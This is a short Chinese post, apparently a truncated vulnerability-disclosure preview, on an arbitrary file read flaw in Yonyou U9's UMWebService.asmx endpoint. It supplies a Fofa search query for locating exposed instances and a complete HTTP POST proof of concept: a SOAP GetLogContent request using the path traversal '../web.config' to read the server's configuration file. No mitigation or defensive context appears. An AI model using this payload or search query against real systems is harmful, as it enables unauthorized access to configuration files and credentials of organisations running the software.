用友U9 UMWebService.asmx 任意文件读取

文章预览

           用友U9多组织企业互联网应用平台UMWebService.asmx存在任意文件读取漏洞。攻击者可以通过发送特定的请求，利用该漏洞获取系统敏感文件。 Fofa 语法 body="logo-u9.png" 漏洞 POC POST /u9/OnLine/UMWebService.asmx HTTP/1.1 Host : your-ip User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Safari/537.36 Connection : close Content-Type : text/xml; charset=utf-8 Accept-Encoding : gzip Content-Length : 371 < soap:Envelope xmlns:xsi = "http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd = "http://www.w3.org/2001/XMLSchema" xmlns:soap = "http://schemas.xmlsoap.org/soap/envelope/" > < soap:Body > < GetLogContent xmlns = "http://tempuri.org/" > < fileName > ../web.config fileName > GetLogContent > soap:Body > soap:Envelope > ………………………………